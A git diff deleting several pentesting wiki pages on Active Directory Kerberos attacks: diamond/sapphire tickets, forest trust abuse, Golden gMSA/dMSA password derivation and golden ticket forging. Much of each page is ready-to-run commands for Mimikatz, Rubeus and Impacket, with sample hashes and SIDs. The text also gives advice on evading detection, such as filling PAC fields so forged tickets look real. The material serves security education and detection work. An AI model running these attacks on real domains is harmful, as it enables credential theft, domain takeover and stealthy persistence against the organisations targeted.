-A newer twist sometimes called a **sapphire ticket** combines Diamond's "real TGT" base with **S4U2self+U2U** to steal a privileged PAC and drop it into your own TGT. Instead of inventing extra SIDs, you request a U2U S4U2self ticket for a high-privilege user where the `sname` targets the low-priv requester; the KRB_TGS_REQ carries the requester's TGT in `additional-tickets` and sets `ENC-TKT-IN-SKEY`, allowing the service ticket to be decrypted with that user's key. You then extract the privileged PAC and splice it into your legitimate TGT before re-signing with the krbtgt key.
-
-Impacket's `ticketer.py` now ships sapphire support via `-impersonate` + `-request` (live KDC exchange):
-
-```bash
-python3 ticketer.py -request -impersonate 'DAuser' \
-  -domain 'lab.local' -user 'lowpriv' -password 'Passw0rd!' \
-  -aesKey '<krbtgt_aes256>' -domain-sid 'S-1-5-21-111-222-333'
-# inject resulting .ccache
-export KRB5CCNAME=lowpriv.ccache
-python3 psexec.py lab.local/DAuser@dc.lab.local -k -no-pass
-```
-
-- `-impersonate` accepts a username or SID; `-request` requires live user creds plus krbtgt key material (AES/NTLM) to decrypt/patch tickets.
-
-Key OPSEC tells when using this variant:
-
-- TGS-REQ will carry `ENC-TKT-IN-SKEY` and `additional-tickets` (the victim TGT) — rare in normal traffic.
-- `sname` often equals the requesting user (self-service access) and Event ID 4769 shows the caller and target as the same SPN/user.
-- Expect paired 4768/4769 entries with the same client computer but different CNAMES (low-priv requester vs. privileged PAC owner).
-
-### OPSEC & detection notes
-
-- The traditional hunter heuristics (TGS without AS, decade-long lifetimes) still apply to golden tickets, but diamond tickets mainly surface when the **PAC content or group mapping looks impossible**. Populate every PAC field (logon hours, user profile paths, device IDs) so automated comparisons do not immediately flag the forgery.
-- **Do not oversubscribe groups/RIDs**. If you only need `512` (Domain Admins) and `519` (Enterprise Admins), stop there and make sure the target account plausibly belongs to those groups elsewhere in AD. Excessive `ExtraSids` is a giveaway.
-- Sapphire-style swaps leave U2U fingerprints: `ENC-TKT-IN-SKEY` + `additional-tickets` plus a `sname` that points at a user (often the requester) in 4769, and a follow-up 4624 logon sourced from the forged ticket. Correlate those fields instead of only looking for no-AS-REQ gaps.
-- Microsoft started phasing out **RC4 service ticket issuance** because of CVE-2026-20833; enforcing AES-only etypes on the KDC both hardens the domain and aligns with diamond/sapphire tooling (/opsec already forces AES). Mixing RC4 into forged PACs will increasingly stick out.
-- Splunk's Security Content project distributes attack-range telemetry for diamond tickets plus detections such as *Windows Domain Admin Impersonation Indicator*, which correlates unusual Event ID 4768/4769/4624 sequences and PAC group changes. Replaying that dataset (or generating your own with the commands above) helps validate SOC coverage for T1558.001 while giving you concrete alert logic to evade.
-
-## References
-
-- [Palo Alto Unit 42 – Precious Gemstones: The New Generation of Kerberos Attacks (2022)](https://unit42.paloaltonetworks.com/next-gen-kerberos-attacks/)
-- [Core Security – Impacket: We Love Playing Tickets (2023)](https://www.coresecurity.com/core-labs/articles/impacket-we-love-playing-tickets)
-- [Huntress – Recutting the Kerberos Diamond Ticket (2025)](https://www.huntress.com/blog/recutting-the-kerberos-diamond-ticket)
-- [Splunk Security Content – Diamond Ticket attack data & detections (2023)](https://research.splunk.com/attack_data/be469518-9d2d-4ebb-b839-12683cd18a7c/)
-- [Хабр – Теневая сторона драгоценностей: Diamond & Sapphire Ticket (2025)](https://habr.com/ru/articles/891620/)
-- [Microsoft – RC4 service ticket enforcement for CVE-2026-20833](https://support.microsoft.com/en-us/topic/how-to-manage-kerberos-kdc-usage-of-rc4-for-service-account-ticket-issuance-changes-related-to-cve-2026-20833-1ebcda33-720a-4da8-93c1-b0496e1910dc)
-
-{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/windows-hardening/active-directory-methodology/external-forest-domain-one-way-outbound.md b/src/windows-hardening/active-directory-methodology/external-forest-domain-one-way-outbound.md
deleted file mode 100644
index 0fd02fe95fb..00000000000
--- a/src/windows-hardening/active-directory-methodology/external-forest-domain-one-way-outbound.md
+++ /dev/null
@@ -1,147 +0,0 @@
-# External Forest Domain - One-Way (Outbound)
-
-{{#include ../../banners/hacktricks-training.md}}
-
-In this scenario **your domain** is **trusting** some **privileges** to principals from a **different domain/forest**.
-
-## Enumeration
-
-### Outbound Trust
-
-```bash
-# Notice Outbound trust
-Get-DomainTrust
-SourceName      : root.local
-TargetName      : ext.local
-TrustType       : WINDOWS_ACTIVE_DIRECTORY
-TrustAttributes : FOREST_TRANSITIVE
-TrustDirection  : Outbound
-WhenCreated     : 2/19/2021 10:15:24 PM
-WhenChanged     : 2/19/2021 10:15:24 PM
-
-# Lets find the current domain group giving permissions to the external domain
-Get-DomainForeignGroupMember
-GroupDomain             : root.local
-GroupName               : External Users
-GroupDistinguishedName  : CN=External Users,CN=Users,DC=DOMAIN,DC=LOCAL
-MemberDomain            : root.io
-MemberName              : S-1-5-21-1028541967-2937615241-1935644758-1115
-MemberDistinguishedName : CN=S-1-5-21-1028541967-2937615241-1935644758-1115,CN=ForeignSecurityPrincipals,DC=DOMAIN,DC=LOCAL
-## Note how the members aren't from the current domain (ConvertFrom-SID won't work)
-```
-
-If you have the AD module available, inspect the **Trusted Domain Object (TDO)** directly as well. This gives you the raw LDAP-backed trust data you will later need when deciding whether the easy path is **FSP/group abuse** or **trust-account abuse**:
-
-```powershell
-# Enumerate the TDO created for the foreign forest/domain
-Get-ADObject -LDAPFilter '(objectClass=trustedDomain)' -SearchBase "CN=System,$((Get-ADDomain).DistinguishedName)" -Properties trustDirection,trustType,trustAttributes,flatName,securityIdentifier,whenCreated,whenChanged |
-  Select Name,flatName,trustDirection,trustType,trustAttributes,securityIdentifier,whenCreated,whenChanged
-
-# Fast trust hygiene check from the outbound side
-Get-ADTrust -Identity ext.local -Properties ForestTransitive,SelectiveAuthentication,SIDFilteringQuarantined,SIDFilteringForestAware,TGTDelegation
-```
-
-You should also enumerate where the foreign principals from `CN=ForeignSecurityPrincipals` were actually granted access. Common wins are:
-
-- **Local admin** on a server/DC in your current domain
-- Membership in a **custom domain group** that has ACLs over users/computers/GPOs
-- Rights to modify **computer objects**, which can later become [RBCD](resource-based-constrained-delegation.md) if the trust configuration allows it
-
-## Trust Account Attack
-
-When a one-way trust is created from domain/forest **B** to domain/forest **A** (**B trusts A**), a **trust account** for **B** is created in **A**. In the outbound-trust view of **A**, this is useful because if you later compromise **B** (the trusting side), you can dump the trust secret there and authenticate back to **A** as `B$`.
-
-The critical aspect to understand here is that the password and Kerberos material for that trust account can be extracted from a Domain Controller in the **trusting** domain using:
-
-```bash
-Invoke-Mimikatz -Command '"lsadump::trust /patch"' -ComputerName dc.my.domain.local
-```
-
-This works because the trust account created in the **trusted** domain is an enabled principal that ends up with the baseline rights of a normal domain user there. That is often enough to start enumerating LDAP, request tickets, and find the next escalation path.
-
-In a scenario where `ext.local` is the **trusting** domain and `root.local` is the **trusted** domain, a user account named `EXT$` is created inside `root.local`. Dumping the trust keys from `ext.local` reveals credentials that can be used as `root.local\EXT$` against `root.local`:
-
-```bash
-lsadump::trust /patch
-```
-
-Following this, use the extracted **RC4** key to authenticate as `root.local\EXT$` inside `root.local`:
-
-```bash
-.\Rubeus.exe asktgt /user:EXT$ /domain:root.local /rc4:<RC4> /dc:dc.root.local /ptt
-```
-
-Then enumerate the trusted domain as that principal, for example by Kerberoasting a high-value SPN in `root.local`:
-
-```bash
-.\Rubeus.exe kerberoast /user:svc_sql /domain:root.local /dc:dc.root.local
-```
-
-### From Linux
-
-If you recovered the **RC4** trust-account key, the same idea works from Linux with Impacket:
-
-```bash
-python getTGT.py -dc-ip dc.root.local root.local/EXT\$ -hashes :<RC4>
-export KRB5CCNAME=EXT\$.ccache
-
-# Kerberoast from the trusted domain as the trust account
-GetUserSPNs.py -request -k -no-pass -dc-ip dc.root.local root.local/EXT\$ -outputfile root_spns.kerberoast
-
-# Or reduce noise and request only one user
-GetUserSPNs.py -request-user svc_sql -k -no-pass -dc-ip dc.root.local root.local/EXT\$
-```
-
-If **RC4** is not accepted, fall back to the recovered **cleartext password** (or derived **AES** keys) and reuse the usual [Over-Pass-the-Hash / Pass-the-Key](over-pass-the-hash-pass-the-key.md) and [Kerberoast](kerberoast.md) workflows from that foothold.
-
-### Key material gotchas
-
-Don't mix up **trust keys** and **trust-account credentials**:
-
-- In a one-way trust, both sides store a **TDO**, but the actual **`EXT$` user account only exists in the trusted domain**.
-- The current trust-account password is reflected in the TDO trust secret (`NewPassword` / current trust key).
-- The **RC4** trust key is the easiest artifact to reuse for `asktgt` as the trust account; in default setups this is usually the working enctype because the trust account often has a blank `msDS-SupportedEncryptionTypes`.
-- If you are thinking in terms of **AES trust keys**, remember they are not interchangeable with the trust-account AES keys because the salts differ.
-
-So, for the technique on this page, prefer either the dumped **RC4** material or the recovered **cleartext** password.
-
-### Gathering cleartext trust password
-
-In the previous flow it was used the trust hash instead of the **cleartext password** (that is also **dumped by mimikatz**).
-
-The cleartext password can be obtained by converting the \[ CLEAR ] output from mimikatz from hexadecimal and removing null bytes `\x00`:
-
-![Trust Account Attack - Gathering cleartext trust password: The cleartext password can be obtained by converting the ( CLEAR ) output from mimikatz from hexadecimal and removing null...](<../../images/image (938).png>)
-
-Sometimes when creating a trust relationship, a password must be typed in by the user for the trust. In this demonstration, the key is the original trust password and therefore human readable. As the key rotates (default: every 30 days), the cleartext will usually stop being human readable but is still technically usable.
-
-The cleartext password can be used to perform regular authentication as the trust account, as an alternative to requesting a TGT with the Kerberos secret key of the trust account. Here, querying `root.local` from `ext.local` for members of `Domain Admins`:
-
-![Trust Account Attack - Gathering cleartext trust password: The cleartext password can be used to perform regular authentication as the trust account, an alternative to requesting a TGT...](<../../images/image (792).png>)
-
-### Practical limitations
-
-> [!WARNING]
-> Trust accounts are awkward principals. Interactive logons such as **RUNAS / console / RDP** are not the expected path here, and **NTLM** authentication attempts can fail with `STATUS_NOLOGON_INTERDOMAIN_TRUST_ACCOUNT`. Plan for **Kerberos network logons** (`asktgt`, LDAP, CIFS, Kerberoast) instead.
-
-### Persistence / cleanup note
-
-If defenders realize the trusting domain was compromised, they should rotate the trust secret on **both sides** with `netdom trust ... /resetOneSide ...`. From an operator perspective this matters because a **manual reset invalidates the old trust material immediately**, while normal trust-password rotation keeps current/previous values around during rollover.
-
-```bash
-# Run once from the trusted side
-netdom trust root.local /domain:ext.local /resetOneSide /passwordT:<NEWPASS> /userO:administrator /passwordO:*
-
-# Run once from the trusting side
-netdom trust ext.local /domain:root.local /resetOneSide /passwordT:<NEWPASS> /userO:administrator /passwordO:*
-```
-
-## References
-
-- [https://itm8.com/articles/sid-filter-as-security-boundary-between-domains-part-7](https://itm8.com/articles/sid-filter-as-security-boundary-between-domains-part-7)
-- [https://learn.microsoft.com/en-us/windows-server/identity/ad-ds/manage/forest-recovery-guide/ad-forest-recovery-reset-trust](https://learn.microsoft.com/en-us/windows-server/identity/ad-ds/manage/forest-recovery-guide/ad-forest-recovery-reset-trust)
-
-{{#include ../../banners/hacktricks-training.md}}
-
-
-
diff --git a/src/windows-hardening/active-directory-methodology/external-forest-domain-oneway-inbound.md b/src/windows-hardening/active-directory-methodology/external-forest-domain-oneway-inbound.md
deleted file mode 100644
index 8663e50b034..00000000000
--- a/src/windows-hardening/active-directory-methodology/external-forest-domain-oneway-inbound.md
+++ /dev/null
@@ -1,162 +0,0 @@
-# External Forest Domain - OneWay (Inbound) or bidirectional
-
-{{#include ../../banners/hacktricks-training.md}}
-
-In this scenario an external domain is trusting you (or both are trusting each other), so you can get some kind of access over it.
-
-## Enumeration
-
-First of all, you need to **enumerate** the **trust**:
-
-```bash
-Get-DomainTrust
-SourceName      : a.domain.local   --> Current domain
-TargetName      : domain.external  --> Destination domain
-TrustType       : WINDOWS-ACTIVE_DIRECTORY
-TrustAttributes :
-TrustDirection  : Inbound          --> Inboud trust
-WhenCreated     : 2/19/2021 10:50:56 PM
-WhenChanged     : 2/19/2021 10:50:56 PM
-
-# Get name of DC of the other domain
-Get-DomainComputer -Domain domain.external -Properties DNSHostName
-dnshostname
------------
-dc.domain.external
-
-# Groups that contain users outside of its domain and return its members
-Get-DomainForeignGroupMember -Domain domain.external
-GroupDomain             : domain.external
-GroupName               : Administrators
-GroupDistinguishedName  : CN=Administrators,CN=Builtin,DC=domain,DC=external
-MemberDomain            : domain.external
-MemberName              : S-1-5-21-3263068140-2042698922-2891547269-1133
-MemberDistinguishedName : CN=S-1-5-21-3263068140-2042698922-2891547269-1133,CN=ForeignSecurityPrincipals,DC=domain,
-                          DC=external
-
-# Get name of the principal in the current domain member of the cross-domain group
-ConvertFrom-SID S-1-5-21-3263068140-2042698922-2891547269-1133
-DEV\External Admins
-
-# Get members of the cros-domain group
-Get-DomainGroupMember -Identity "External Admins" | select MemberName
-MemberName
-----------
-crossuser
-
-# Lets list groups members
-## Check how the "External Admins" is part of the Administrators group in that DC
-Get-NetLocalGroupMember -ComputerName dc.domain.external
-ComputerName : dc.domain.external
-GroupName    : Administrators
-MemberName   : SUB\External Admins
-SID          : S-1-5-21-3263068140-2042698922-2891547269-1133
-IsGroup      : True
-IsDomain     : True
-
-# You may also enumerate where foreign groups and/or users have been assigned
-# local admin access via Restricted Group by enumerating the GPOs in the foreign domain.
-
-# Additional trust hygiene checks (AD RSAT / AD module)
-Get-ADTrust -Identity domain.external -Properties SelectiveAuthentication,SIDFilteringQuarantined,SIDFilteringForestAware,TGTDelegation,ForestTransitive
-```
-
-> `SelectiveAuthentication`/`SIDFiltering*` let you quickly see if cross-forest abuse paths (RBCD, SIDHistory) are likely to work without extra prerequisites.
-
-In the previous enumeration it was found that the user **`crossuser`** is inside the **`External Admins`** group who has **Admin access** inside the **DC of the external domain**.
-
-## Initial Access
-
-If you **couldn't** find any **special** access of your user in the other domain, you can still go back to the AD Methodology and try to **privesc from an unprivileged user** (things like kerberoasting for example):
-
-You can use **Powerview functions** to **enumerate** the **other domain** using the `-Domain` param like in:
-
-```bash
-Get-DomainUser -SPN -Domain domain_name.local | select SamAccountName
-```
-
-
-{{#ref}}
-./
-{{#endref}}
-
-## Impersonation
-
-### Logging in
-
-Using a regular method with the credentials of the users who is has access to the external domain you should be able to access:
-
-```bash
-Enter-PSSession -ComputerName dc.external_domain.local -Credential domain\administrator
-```
-
-### SID History Abuse
-
-You could also abuse [**SID History**](sid-history-injection.md) across a forest trust.
-
-If a user is migrated **from one forest to another** and **SID Filtering is not enabled**, it becomes possible to **add a SID from the other forest**, and this **SID** will be **added** to the **user's token** when authenticating **across the trust**.
-
-> [!WARNING]
-> As a reminder, you can get the signing key with
->
-> ```bash
-> Invoke-Mimikatz -Command '"lsadump::trust /patch"' -ComputerName dc.domain.local
-> ```
-
-You could **sign with** the **trusted** key a **TGT impersonating** the user of the current domain.
-
-```bash
-# Get a TGT for the cross-domain privileged user to the other domain
-Invoke-Mimikatz -Command '"kerberos::golden /user:<username> /domain:<current domain> /SID:<current domain SID> /rc4:<trusted key> /target:<external.domain> /ticket:C:\path\save\ticket.kirbi"'
-
-# Use this inter-realm TGT to request a TGS in the target domain to access the CIFS service of the DC
-## We are asking to access CIFS of the external DC because in the enumeration we show the group was part of the local administrators group
-Rubeus.exe asktgs /service:cifs/dc.doamin.external /domain:dc.domain.external /dc:dc.domain.external /ticket:C:\path\save\ticket.kirbi /nowrap
-
-# Now you have a TGS to access the CIFS service of the domain controller
-```
-
-### Full way impersonating the user
-
-```bash
-# Get a TGT of the user with cross-domain permissions
-Rubeus.exe asktgt /user:crossuser /domain:sub.domain.local /aes256:70a673fa756d60241bd74ca64498701dbb0ef9c5fa3a93fe4918910691647d80 /opsec /nowrap
-
-# Get a TGT from the current domain for the target domain for the user
-Rubeus.exe asktgs /service:krbtgt/domain.external /domain:sub.domain.local /dc:dc.sub.domain.local /ticket:doIFdD[...snip...]MuSU8= /nowrap
-
-# Use this inter-realm TGT to request a TGS in the target domain to access the CIFS service of the DC
-## We are asking to access CIFS of the external DC because in the enumeration we show the group was part of the local administrators group
-Rubeus.exe asktgs /service:cifs/dc.doamin.external /domain:dc.domain.external /dc:dc.domain.external /ticket:doIFMT[...snip...]5BTA== /nowrap
-
-# Now you have a TGS to access the CIFS service of the domain controller
-```
-
-### Cross-forest RBCD when you control a machine account in the trusting forest (no SID filtering / selective auth)
-
-If your foreign principal (FSP) lands you in a group that can write computer objects in the trusting forest (e.g., `Account Operators`, custom provisioning group), you can configure **Resource-Based Constrained Delegation** on a target host of that forest and impersonate any user there:
-
-```bash
-# 1) From the trusted domain, create or compromise a machine account (MYLAB$) you control
-# 2) In the trusting forest (domain.external), set msDS-AllowedToAct on the target host for that account
-Set-ADComputer -Identity victim-host$ -PrincipalsAllowedToDelegateToAccount MYLAB$
-# or with PowerView
-Set-DomainObject victim-host$ -Set @{'msds-allowedtoactonbehalfofotheridentity'=$sidbytes_of_MYLAB}
-
-# 3) Use the inter-forest TGT to perform S4U to victim-host$ and get a CIFS ticket as DA of the trusting forest
-Rubeus.exe s4u /ticket:interrealm_tgt.kirbi /impersonate:EXTERNAL\Administrator /target:victim-host.domain.external /protocol:rpc
-```
-
-This only works when **SelectiveAuthentication is disabled** and **SID filtering** does not strip your controlling SID. It is a fast lateral path that avoids SIDHistory forging and is often missed in trust reviews.
-
-### PAC validation hardening
-
-PAC signature validation updates for **CVE-2024-26248**/**CVE-2024-29056** add signing enforcement on inter-forest tickets. In **Compatibility mode**, forged inter-realm PAC/SIDHistory/S4U paths can still work on unpatched DCs. In **Enforcement mode**, unsigned or tampered PAC data crossing a forest trust is rejected unless you also hold the target forest trust key. Registry overrides (`PacSignatureValidationLevel`, `CrossDomainFilteringLevel`) can weaken this while they remain available.
-
-
-
-## References
-
-- [Microsoft KB5037754 – PAC validation changes for CVE-2024-26248 & CVE-2024-29056](https://support.microsoft.com/en-au/topic/how-to-manage-pac-validation-changes-related-to-cve-2024-26248-and-cve-2024-29056-6e661d4f-799a-4217-b948-be0a1943fef1)
-- [MS-PAC spec – SID filtering & claims transformation details](https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-pac/55fc19f2-55ba-4251-8a6a-103dd7c66280)
-{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/windows-hardening/active-directory-methodology/golden-dmsa-gmsa.md b/src/windows-hardening/active-directory-methodology/golden-dmsa-gmsa.md
deleted file mode 100644
index c22017ff894..00000000000
--- a/src/windows-hardening/active-directory-methodology/golden-dmsa-gmsa.md
+++ /dev/null
@@ -1,129 +0,0 @@
-# Golden gMSA/dMSA Attack (Offline Derivation of Managed Service Account Passwords)
-
-{{#include ../../banners/hacktricks-training.md}}
-
-## Overview
-
-Windows Managed Service Accounts (MSA) are special principals designed to run services without the need to manually manage their passwords.
-There are two major flavours:
-
-1. **gMSA** – group Managed Service Account – can be used on multiple hosts that are authorised in its `msDS-GroupMSAMembership` attribute.
-2. **dMSA** – delegated Managed Service Account – the (preview) successor to gMSA, relying on the same cryptography but allowing more granular delegation scenarios.
-
-For both variants the **password is not stored** on each Domain Controller (DC) like a regular NT-hash. Instead every DC can **derive** the current password on-the-fly from:
-
-* The forest-wide **KDS Root Key** (`KRBTGT\KDS`)  – randomly generated GUID-named secret, replicated to every DC under the `CN=Master Root Keys,CN=Group Key Distribution Service, CN=Services, CN=Configuration, …` container.
-* The target account **SID**.
-* A per-account **ManagedPasswordID** (GUID) found in the `msDS-ManagedPasswordId` attribute.
-
-The derivation is: `AES256_HMAC( KDSRootKey , SID || ManagedPasswordID )` → 240 byte blob finally **base64-encoded** and stored in the `msDS-ManagedPassword` attribute.
-No Kerberos traffic or domain interaction is required during normal password usage – a member host derives the password locally as long as it knows the three inputs.
-
-## Golden gMSA / Golden dMSA Attack
-
-If an attacker can obtain all three inputs **offline** they can compute **valid current and future passwords** for **any gMSA/dMSA in the forest** without touching the DC again, bypassing:
-
-* LDAP read auditing
-* Password change intervals (they can pre-compute)
-
-This is analogous to a *Golden Ticket* for service accounts.
-
-### Prerequisites
-
-1. **Forest-level compromise** of **one DC** (or Enterprise Admin), or `SYSTEM` access to one of the DCs in the forest.
-2. Ability to enumerate service accounts (LDAP read / RID brute-force).
-3. .NET ≥ 4.7.2 x64 workstation to run [`GoldenDMSA`](https://github.com/Semperis/GoldenDMSA) or equivalent code.
-
-### Golden gMSA / dMSA
-#### Phase 1 – Extract the KDS Root Key
-
-Dump from any DC (Volume Shadow Copy / raw SAM+SECURITY hives or remote secrets):
-
-```cmd
-reg save HKLM\SECURITY security.hive
-reg save HKLM\SYSTEM  system.hive
-
-# With mimikatz on the DC / offline
-mimikatz # lsadump::secrets
-mimikatz # lsadump::trust /patch   # shows KDS root keys too
-
-# With GoldendMSA
-GoldendMSA.exe kds --domain <domain name>   # query KDS root keys from a DC in the forest
-GoldendMSA.exe kds 
-
-# With GoldenGMSA
-GoldenGMSA.exe kdsinfo
-```
-The base64 string labelled `RootKey` (GUID name) is required in later steps.
-
-##### Phase 2 – Enumerate gMSA / dMSA objects
-
-Retrieve at least `sAMAccountName`, `objectSid` and `msDS-ManagedPasswordId`:
-
-```bash
-# Authenticated or anonymous depending on ACLs
-Get-ADServiceAccount -Filter * -Properties msDS-ManagedPasswordId | \
-  Select sAMAccountName,objectSid,msDS-ManagedPasswordId
-  
-GoldenGMSA.exe gmsainfo
-```
-
-[`GoldenDMSA`](https://github.com/Semperis/GoldenDMSA) implements helper modes:
-
-```bash
-# LDAP enumeration (kerberos / simple bind)
-GoldendMSA.exe info -d example.local -m ldap
-
-# RID brute force if anonymous binds are blocked
-GoldendMSA.exe info -d example.local -m brute -r 5000 -u jdoe -p P@ssw0rd
-```
-
-##### Phase 3 – Guess / Discover the ManagedPasswordID (when missing)
-
-Some deployments *strip* `msDS-ManagedPasswordId` from ACL-protected reads.
-Because the GUID is 128-bit, naive bruteforce is infeasible, but:
-
-1. The first **32 bits = Unix epoch time** of the account creation (minutes resolution).
-2. Followed by 96 random bits.
-
-Therefore a **narrow wordlist per account** (± few hours) is realistic.
-
-```bash
-GoldendMSA.exe wordlist -s <SID> -d example.local -f example.local -k <KDSKeyGUID>
-```
-The tool computes candidate passwords and compares their base64 blob against the real `msDS-ManagedPassword` attribute – the match reveals the correct GUID.
-
-##### Phase 4 – Offline Password Computation & Conversion
-
-Once the ManagedPasswordID is known, the valid password is one command away:
-
-```bash
-# derive base64 password
-GoldendMSA.exe compute -s <SID> -k <KDSRootKey> -d example.local -m <ManagedPasswordID> -i <KDSRootKey ID>
-GoldenGMSA.exe compute --sid <SID> --kdskey <KDSRootKey> --pwdid <ManagedPasswordID>
-```
-The resulting hashes can be injected with **mimikatz** (`sekurlsa::pth`) or **Rubeus** for Kerberos abuse, enabling stealth **lateral movement** and **persistence**.
-
-## Detection & Mitigation
-
-* Restrict **DC backup and registry hive read** capabilities to Tier-0 administrators.
-* Monitor **Directory Services Restore Mode (DSRM)** or **Volume Shadow Copy** creation on DCs.
-* Audit reads / changes to `CN=Master Root Keys,…` and `userAccountControl` flags of service accounts.
-* Detect unusual **base64 password writes** or sudden service password reuse across hosts.
-* Consider converting high-privilege gMSAs to **classic service accounts** with regular random rotations where Tier-0 isolation is not possible.
-
-## Tooling
-
-* [`Semperis/GoldenDMSA`](https://github.com/Semperis/GoldenDMSA) – reference implementation used in this page.
-* [`Semperis/GoldenGMSA`](https://github.com/Semperis/GoldenGMSA/) – reference implementation used in this page.
-* [`mimikatz`](https://github.com/gentilkiwi/mimikatz) – `lsadump::secrets`, `sekurlsa::pth`, `kerberos::ptt`.
-* [`Rubeus`](https://github.com/GhostPack/Rubeus) – pass-the-ticket using derived AES keys.
-
-## References
-
-- [Golden dMSA – authentication bypass for delegated Managed Service Accounts](https://www.semperis.com/blog/golden-dmsa-what-is-dmsa-authentication-bypass/)
-- [gMSA Active Directory Attacks Accounts](https://www.semperis.com/blog/golden-gmsa-attack/)
-- [Semperis/GoldenDMSA GitHub repository](https://github.com/Semperis/GoldenDMSA)
-- [Improsec – Golden gMSA trust attack](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-5-golden-gmsa-trust-attack-from-child-to-parent)
-
-{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/windows-hardening/active-directory-methodology/golden-ticket.md b/src/windows-hardening/active-directory-methodology/golden-ticket.md
deleted file mode 100644
index 00bac6b9f79..00000000000
--- a/src/windows-hardening/active-directory-methodology/golden-ticket.md
+++ /dev/null
@@ -1,106 +0,0 @@
-# Golden Ticket
-
-{{#include ../../banners/hacktricks-training.md}}
-
-## Golden ticket
-
-A **Golden Ticket** attack consists of the **creation of a legitimate Ticket Granting Ticket (TGT) impersonating any user** through the use of the **NTLM hash of the Active Directory (AD) krbtgt account**. This technique is particularly advantageous because it **enables access to any service or machine** within the domain as the impersonated user. It's crucial to remember that the **krbtgt account's credentials are never automatically updated**.
-
-To **acquire the NTLM hash** of the krbtgt account, various methods can be employed. It can be extracted from the **Local Security Authority Subsystem Service (LSASS) process** or the **NT Directory Services (NTDS.dit) file** located on any Domain Controller (DC) within the domain. Furthermore, **executing a DCsync attack** is another strategy to obtain this NTLM hash, which can be performed using tools such as the **lsadump::dcsync module** in Mimikatz or the **secretsdump.py script** by Impacket. It's important to underscore that to undertake these operations, **domain admin privileges or a similar level of access is typically required**.
-
-Although the NTLM hash serves as a viable method for this purpose, it is **strongly recommended** to **forge tickets using the Advanced Encryption Standard (AES) Kerberos keys (AES128 and AES256)** for operational security reasons. This is even more important in modern domains because **RC4 usage is being phased out** and stands out much more clearly in Kerberos telemetry.
-
-```bash:From Linux
-python ticketer.py -nthash 25b2076cda3bfd6209161a6c78a69c1c -domain-sid S-1-5-21-1339291983-1349129144-367733775 -domain jurassic.park stegosaurus
-export KRB5CCNAME=/root/impacket-examples/stegosaurus.ccache
-python psexec.py jurassic.park/stegosaurus@lab-wdc02.jurassic.park -k -no-pass
-```
-
-```bash:From Windows
-# Rubeus
-## The /ldap command will get the details from the LDAP (so you don't need to put the SID)
-## The /printcmd option will print the complete command if later you want to generate a token offline
-.\Rubeus.exe golden /rc4:<krbtgt_hash> /domain:<child_domain> /sid:<child_domain_sid> /sids:<parent_domain_sid>-519 /user:Administrator /ptt /ldap /nowrap /printcmd
-
-# Example
-.\Rubeus.exe golden /rc4:25b2076cda3bfd6209161a6c78a69c1c /domain:jurassic.park /sid:S-1-5-21-1339291983-1349129144-367733775 /user:stegosaurus /ptt /ldap /nowrap
-
-#mimikatz
-kerberos::golden /User:Administrator /domain:dollarcorp.moneycorp.local /sid:S-1-5-21-1874506631-3219952063-538504511 /krbtgt:ff46a9d8bd66c6efd77603da26796f35 /id:500 /groups:512 /startoffset:0 /endin:600 /renewmax:10080 /ptt
-.\Rubeus.exe ptt /ticket:ticket.kirbi
-klist #List tickets in memory
-
-# Example using aes key
-kerberos::golden /user:Administrator /domain:dollarcorp.moneycorp.local /sid:S-1-5-21-1874506631-3219952063-538504511 /aes256:430b2fdb13cc820d73ecf123dddd4c9d76425d4c2156b89ac551efb9d591a439 /ticket:golden.kirbi
-```
-
-### Modern ticket crafting notes
-
-When possible, **query LDAP and SYSVOL first** and then forge the ticket using the real domain policy and user PAC values instead of inventing them manually:
-
-```bash
-Rubeus.exe golden /aes256:<krbtgt_aes256> /user:<username> /ldap /printcmd /nowrap
-```
-
-- `/ldap` asks the DC for the user, group, NetBIOS and policy data used to build a more realistic PAC.
-- `/printcmd` prints an offline command line containing the retrieved PAC fields, which is useful if you later want to forge the same ticket without touching LDAP again.
-- `/extendedupndns` adds the newer `UpnDns` PAC elements containing the `samAccountName` and account SID.
-- `/oldpac` removes the newer `Requestor` and `Attributes` PAC buffers; this is mainly useful for compatibility testing against older environments, not for default tradecraft.
-
-From Linux, recent Impacket versions also support adding the newer PAC structures and setting a realistic validity period:
-
-```bash
-python3 ticketer.py -aesKey <krbtgt_aes256> -domain-sid <DOMAIN_SID> -domain <DOMAIN> \
-  -user-id 500 -groups 512,513,518,519 -duration 10 \
-  -extra-pac administrator
-```
-
-- `-duration` is in **hours**. The default is **10 years**, which is noisy.
-- `-extra-pac` adds the newer `UPN_DNS` PAC information.
-- `-old-pac` forces the legacy PAC layout.
-- `-extra-sid` is useful when the PAC needs additional SIDs (for example, in child-to-parent escalation scenarios, which are covered in [SID-History Injection](sid-history-injection.md)).
-
-**Once** you have the **golden Ticket injected**, you can access the shared files **(C$)**, and execute services and WMI, so you could use **psexec** or **wmiexec** to obtain a shell (looks like you cannot get a shell via winrm).
-
-### Bypassing common detections
-
-The most frequent ways to detect a golden ticket are by **inspecting Kerberos traffic** on the wire. By default, Mimikatz **signs the TGT for 10 years**, which will stand out as anomalous in subsequent TGS requests made with it.
-
-`Lifetime : 3/11/2021 12:39:57 PM ; 3/9/2031 12:39:57 PM ; 3/9/2031 12:39:57 PM`
-
-Use the `/startoffset`, `/endin` and `/renewmax` parameters to control the start offset, duration and the maximum renewals (all in minutes).
-
-```
-Get-DomainPolicy | select -expand KerberosPolicy
-```
-
-Unfortunately, the TGT's lifetime is not logged in 4769's, so you won't find this information in the Windows event logs. However, what you can correlate is **seeing 4769's without a prior 4768**. It's **not possible to request a TGS without a TGT**, and if there is no record of a TGT being issued, we can infer that it was forged offline.
-
-In **newer Windows builds**, Event IDs **4768** and **4769** also expose much better **encryption type telemetry**. A forged TGT/TGS using **RC4 (`0x17`)** in a domain where `krbtgt`, clients and services already have AES keys is much easier to spot than it was a few years ago. This is one more reason to prefer **AES-backed Golden Tickets** and to match the domain's normal Kerberos policy as closely as possible.
-
-Another OPSEC issue is **PAC fidelity**. Tickets with impossible group memberships, missing newer PAC buffers, or account metadata that doesn't match LDAP are easier to detect when defenders validate PAC contents against AD data. If you need a TGT that looks like it was really issued by a DC, review:
-
-{{#ref}}
-diamond-ticket.md
-{{#endref}}
-
